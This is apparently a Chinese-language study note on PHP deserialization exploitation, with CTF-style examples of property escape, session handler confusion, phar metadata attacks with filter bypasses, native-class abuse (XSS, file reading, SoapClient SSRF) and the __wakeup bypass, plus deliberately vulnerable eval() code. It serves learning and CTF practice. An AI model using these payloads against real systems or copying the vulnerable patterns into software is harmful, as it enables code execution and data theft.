PHP反序列化漏洞

序列化

  • 序列化的作用

将对象或者数组转化为可存储/传输的字符串

  • 对象序列化
O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}
// O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

\x00为空字符,一个空字符长度为 1

public (公有)          // 序列化后格式 属性名
protected (受保护)     // 序列化后格式 \x00*\x00属性名
private (私有的)       // 序列化后格式 \x00类名\x00属性名

反序列化的特性

  1. 反序列化之后的内容为一个对象
  2. 反序列化生成的对象里的值,由反序列化里的值(字符串$a)提供;与原有预定的值无关
  3. 反序列化不触发类的成员方法;需要调用方法后才能触发

反序列化的作用

将序列化后的参数还原成实例化的对象

  1. 反序列化的过程就是碰到 ;}与最前面的 { 配对后,便停止反序列化,后面的数据会直接丢弃。
  2. 反序列化的过程会根据 s 所指定的 字符长度 去读取后边的字符。如果指定的长度错误则反序列化就会失败。
  3. 类中不存在的属性也会进行反序列化。

反序列化漏洞

反序列化漏洞成因:

反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值;通过调用方法,触发代码执行

魔术方法

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法。

魔术方法的作用

在特定条件下自动调用相关方法,最终导致触发代码

__construct      //构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法;
__destruct       //析构函数,对象引用完成,或对象被销毁(实例化对象结束后,代码运行完全销毁,触发析构函数,在序列化过程中不会触发,在反序列化之后会触发)
__sleep()       //执行serialize()时,先会调用这个函数
__wakeup()      //执行unserialize()时,先会调用这个函数
__call()        //在对象上下文中调用不可访问的方法时触发
__callStatic()  //在静态上下文中调用不可访问的方法时触发
__get()         //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set()         //用于将数据写入不可访问的属性
__isset()       //在不可访问的属性上调用isset()或empty()触发
__unset()       //在不可访问的属性上使用unset()时触发
__toString()    //把对象当作字符串使用时触发
__invoke()      //当尝试将对象调用为函数时触发
__clone()      //当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()

pop链

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload

POC编写

POC(全程:Proof of concept)中文译作概念验证。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

构造pop链的方法

字符逃逸

反序列化分隔符

反序列化以;结束,后面的字符串不影响正常的反序列化

属性逃逸

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有才可能存在反序列化属性逃逸

字符变多

  1. 看过滤,判断字符变多还是字符变少,计算变化个数
  2. 一个字符,构造过滤字符的个数为构造的字符长度
  3. n个字符,构造过滤字符的个数为构造的字符长度/n
<?php
include('flag.php');
function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this -> username = $username;
        $this -> password = $password;
    }
    public function __wakeup(){
        if($this -> password == '88888888') {
            echo $flag;
            die;
        }
        echo 'Fake admin';
    }
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
    $data = new ctf($u, $p);
    unserialize(filter(serialize($data)));
}

这段代码中 $u 必须包含 admin,然后把 admin 替换为 hacker 其次通过判断 password 是否等于 8888888 来判断是否输出 flag

<?php

function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf{
    public $username;
    public $password = '88888888';
    public function __construct($username){
        $this -> username = $username;
    }
}

$u = 'admin';
$data = new ctf($u);

var_dump(filter(serialize($data)));

先给 username 赋值 admin ,然后把 password 改为 88888888,观察一下返回的数据

O:3:"ctf":2:{s:8:"username";s:5:"hacker";s:8:"password";s:8:"88888888";}

经过替换后 admin 变成了 hacker ,多出来了一个字符,但标记长度没有变化,还是 s:5 ,造成了实际长度大于标记长度的情况,从而反序列化失败。

同时我们发现后面我们需要构造的字符 ";s:8:"password";s:8:"88888888";} 长度为 33 ,由于过滤规则每次替换增加 1 个字符,所以我们需要 33admin

<?php

function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:8:"88888888";}';
    public $password = '88888888';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串,

O:3:"ctf":2:{s:8:"username";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:8:"88888888";}";s:8:"password";s:8:"88888888";}

我们发现 hacker 正好是 198 个字符,而 password 也变成了我们想要的 88888888

字符变少

  1. 构造想要的值正常序列化,拿到最终的逃逸字符
  2. 逃逸字符前任意字符+双引号闭合,传入要控制的值
  3. 根据需要逃逸的字符串的长度,传入对应的过滤字符
<?php
include('flag.php');
function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this -> username = $username;
        $this -> password = $password;
    }
    public function __wakeup(){
        if($this -> password == '88888888') {
            echo $flag;
            die;
        }
        echo 'Fake admin';
    }
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
    $data = new ctf($u, $p);
    unserialize(filter(serialize($data)));
}

思路同上,先输出一下 serialize 后的数据

O:3:"ctf":2:{s:8:"username";s:4:"hack";s:8:"password";s:8:"88888888";}

发现 admin 变成了 hack ,但是标记长度没有变化,还是 s:4 ,造成了实际长度小于标记长度的情况,我们每增加一个 admin 匹配替换后就减少 1 个字符,我们要做的就是让他往后去吞噬一些我们构造的代码,这样就可以构造出我们想要的代码了。

这样是我们想要构造的代码

";s:8:"password";s:8:"88888888";}

我们把它传入 password 中观察返回数据

<?php

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username = 'admin';
    public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

O:3:"ctf":2:{s:8:"username";s:5:"hack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

所以我们需要吞噬的字符如下

";s:8:"password";s:33:"

由于每次匹配替换只会减少一个字符,所以我们需要构造一个长度为 23 的字符串,这样就可以吞噬到我们想要的代码了。

<?php

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
    public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

O:3:"ctf":2:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

session反序列化

PHP在 session 存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

php.ini 中通常存在以下配置项:

  • session.save_path 设置session的存储路径
  • session.save_handler 设定用户自定义存储函数
  • session.auto_start 指定会话模块是否在请求开始时启动一个会话
  • session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用 php

不同的引擎所对应的 session 的存储方式不相同。

<?php
ini_set('session.serialize_handler', 'php');
// ini_set("session.serialize_handler", "php_serialize");
// ini_set("session.serialize_handler", "php_binary");

session_start();
$_SESSION['name'] = 'iami233';
var_dump($_SESSION);
引擎存储方式示例
php键名 + 竖线 + 经过 serialize() 函数序列化处理的值name
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值names:7:"iami233";
php_serialize经过 serialize() 函数序列化处理的数组a:1:{s:4:"name";s:7:"iami233";}

举个例子

我们新建一个 1.php 文件,使用 php_serialize 引擎

<?php
ini_set("session.serialize_handler", "php_serialize");

session_start();
$_SESSION['name'] = '|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}';

访问 localhost/1.php 后生成的 session 文件内容文件为:

a:1:{s:4:"name";s:44:"|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}
php` 序列化引擎以 `|` 作为 `key` 和 `value` 的分隔符,只反序列化 `|` 后面的内容 所以我们需要在前面加个 `|`,这样 `a:1:{s:4:"name";s:44:"` 被当做了 `key` ,而 `O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}` 被当做了 `value

再新建一个 2.php 文件,不声明引擎的话,默认是 php

<?php
session_start();
class Name {
    public $rce; 
    function __destruct() {
         eval($this->rce);
    }
}
?>

此时访问 localhost/2.php 即可执行 phpinfo() 函数

phar反序列化漏洞

phar是PHP类似于jar的一种打包文件。

对于PHP5.3或更高版本,phar后缀文件默认开启

phar产生反序列化的原因

在使用phar://协议读取文件时,文件会被解析成phar

解析过程中会触发php_var_unserialize()函数对meta-data的操作,造成反序列化。

文件包含:phar伪协议,可读取.phar文件

Pharphp压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与 file://php:// 等伪协议类似,也是一种流包装器。

php中一些常见的流包装器如下:

file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

要想使用 Phar 类里的方法,必须将 php.ini 文件中的 phar.readonly 配置项配置为 0Off(默认为 On

phar结构

stub phar 文件标识,格式为xxx<?php xxx;__HALT_COMPILER(); ?>;(头部信息)

manifest:压缩文件的属性等信息,以序列化存储

content:被压缩文件的内容

signature (可空):签名,放在末尾。

phar利用条件

  • phar文件能上传到服务器端
  • 要有可用反序列化魔术方法作为跳板
  • 要有文件操作函数,如file_exists(),fopen,file_get_contents()
  • 文件操作函数参数可控,且:、/、phar等特殊字符没有被过滤

生成phar文件

编辑.php文件如下

<?php
    //一个类
    class Test {
    	public $testdata;
    	public function test_it() {
            echo 1;
        }
	}
	//类的实例化对象
    $obj = new Test();
	
	//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
	@unlink("phar.phar");

	//生成phar时,文件的后缀名必须为phar
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
	//设置stub
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
	//将自定义的meta-data存入manifest,这个是利用的重点
    $phar->setMetadata($obj); 
	//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
    $phar->addFromString("test.txt", "test"); 
    //签名自动计算
    $phar->stopBuffering();
?>

假设上述程序代码保存为1.php

那么只需要执行(前提是php已经设置于环境变量中,或者跑到php程序目录打开命令行)

php 1.php

即可生成phar.phar

可用010打开查看

当环境限制了phar不能开头,可以使用以下伪协议绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar://test.phar/test.txt
compress.zlib://phar://test.phar/test.txt
php://filter/resource=phar://test.phar/test.txt

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过

1、$phar->setStub(“GIF89a”.“”); //设置stub

2、生成一个phar.phar,修改后缀名为phar.gif

除了 file_put_contents 外,会把 phar 反序列化的函数还有:

受影响的函数列表   
filenamefilectimefile_existsfile_get_contents
file_put_contentsfilefilegroupfopen
fileinodefilemtimefileownerfileperms
is_diris_executableis_fileis_link
is_readableis_writableis_writeableparse_ini_file
copyunlinkstatreadfile

原生类

不想做笔记了,去看大佬博客,一天看八百遍,反复温习

php原生类

Error/Exception XSS

<?php
$a = serialize(new Exception("<script>alert(1)</script>"));
echo $a;

SplFileObject 读文件

<?php
$a = new SplFileObject("flag.txt");
echo $a;

DirectoryIterator 遍历目录

<?php
$a = new DirectoryIterator(".");
foreach ($a as $b) {
    echo $b->getFilename() . "\n";
}

FilesystemIterator 遍历目录

<?php
$a = new FilesystemIterator(".");
foreach ($a as $b) {
    echo $b->getFilename() . "\n";
}

SoapClient SSRF

  1. 需要有 soap 扩展,需要手动开启该扩展。
  2. 需要调用一个不存在的方法触发其 __call() 函数。
  3. 仅限于 http / https 协议

利用原生类 SoapClient 实现 SSRF ,构造 SoapClient 的类对象,需要有两个参数字符串 $wsdl 和数组 $options

public __construct(?string $wsdl, array $options = [])

tricks

php7.1+反序列化对类属性不敏感

我们前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00

但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

绕过__wakeup(CVE-2016-7124)

版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

绕过部分正则

匹配序列化字符串是否含有o,c,:冒号之后\d是匹配数字不区分大小写,我们可以利用+绕过

preg_match(‘/^O:\d+/’)

^O,匹配序列化字符串是否是对象字符串开头

  • 利用加号绕过(注意在url里传参时+要编码为%2B

  • 还可以用数组绕过,serialize(array(a ) ) ; / / a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)

利用引用

<?php
class test{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'abc';
        $this->b= &$this->a;
    }
    public function  __destruct(){

        if($this->a===$this->b){
            echo 666;
        }
    }
}
$a = serialize(new test());

上面这个例子将$b设置为$a的引用,可以使$a永远与$b相等

16进制绕过字符的过滤

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

实际操作

我们使用一些简单的PHP代码来演示PHP反序列化漏洞

(1)简单的反序列化漏洞

最简单的反序列化漏洞,用户可以控制序列化内容,且没有任何过滤

<?php
$name = $_GET['name'];
if (!isset($_GET['name']) || $_GET['name'] === '') {
    die('Name is required');
}
$encodename = serialize($name);
$decodename = unserialize($encodename);
echo "序列化后字符串为:".$encodename."<br>"; 
echo "反序列化后字符串为:".$decodename."<br>";
eval($decodename);
?>

最终传入恶意代码,成功执行

(2)使用了魔术方法的反序列化漏洞

在实际环境中,一般是不可能存在可以直接执行命令的函数的,所以我们就要使用魔术方法来执行命令,我们先来初步认识下这些魔术方法的调用情况

<?php
    class animal {
        private $name = 'caixukun';

        public function sleep(){
            echo "<hr>";
            echo $this->name . " is sleeping...\n";
        }
        public function __wakeup(){
            echo "<hr>";
            echo "调用了__wakeup()方法\n";
        }
        public function __construct(){
            echo "<hr>";
            echo "调用了__construct()方法\n";
        }
        public function __destruct(){
            echo "<hr>";
            echo "调用了__destruct()方法\n";
        }
        public function __toString(){
            echo "<hr>";
            echo "调用了__toString()方法\n";
        }
        public function __set($key, $value){
            echo "<hr>";
            echo "调用了__set()方法\n";
        }
        public function __get($key) {
            echo "<hr>";
            echo "调用了__get()方法\n";
        }
    }
    
    $ji = new animal();
    $ji->name = 1;
    echo $ji->name;
    $ji->sleep();
    $ser_ji = serialize($ji);
    //print_r($ser_ji);
    print_r(unserialize($ser_ji))
?>

我们创建了一个类 animal ,赋予其私有属性,值为“caixukun”。然后我们来看各种魔术方法的触发时机

$ji = new animal(); 
// 输出:调用了__construct()方法
// 因为创建对象时自动调用构造函数

$ji->name = 1;
// 输出:调用了__set()方法
// 因为尝试设置私有属性,触发__set()

echo $ji->name;
// 输出:调用了__get()方法
// 因为尝试获取私有属性,触发__get()

$ji->sleep();
// 输出:caixukun is sleeping...
// 正常调用sleep方法,可以访问私有属性

$ser_ji = serialize($ji);
// 序列化对象(无输出)

print_r(unserialize($ser_ji));
// 输出:调用了__wakeup()方法
// 因为反序列化时自动调用__wakeup()
// 同时会输出对象信息

// 脚本结束时自动调用析构函数
// 输出:调用了__destruct()方法
// 实际上会有两次析构调用(原对象和反序列化的临时对象)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇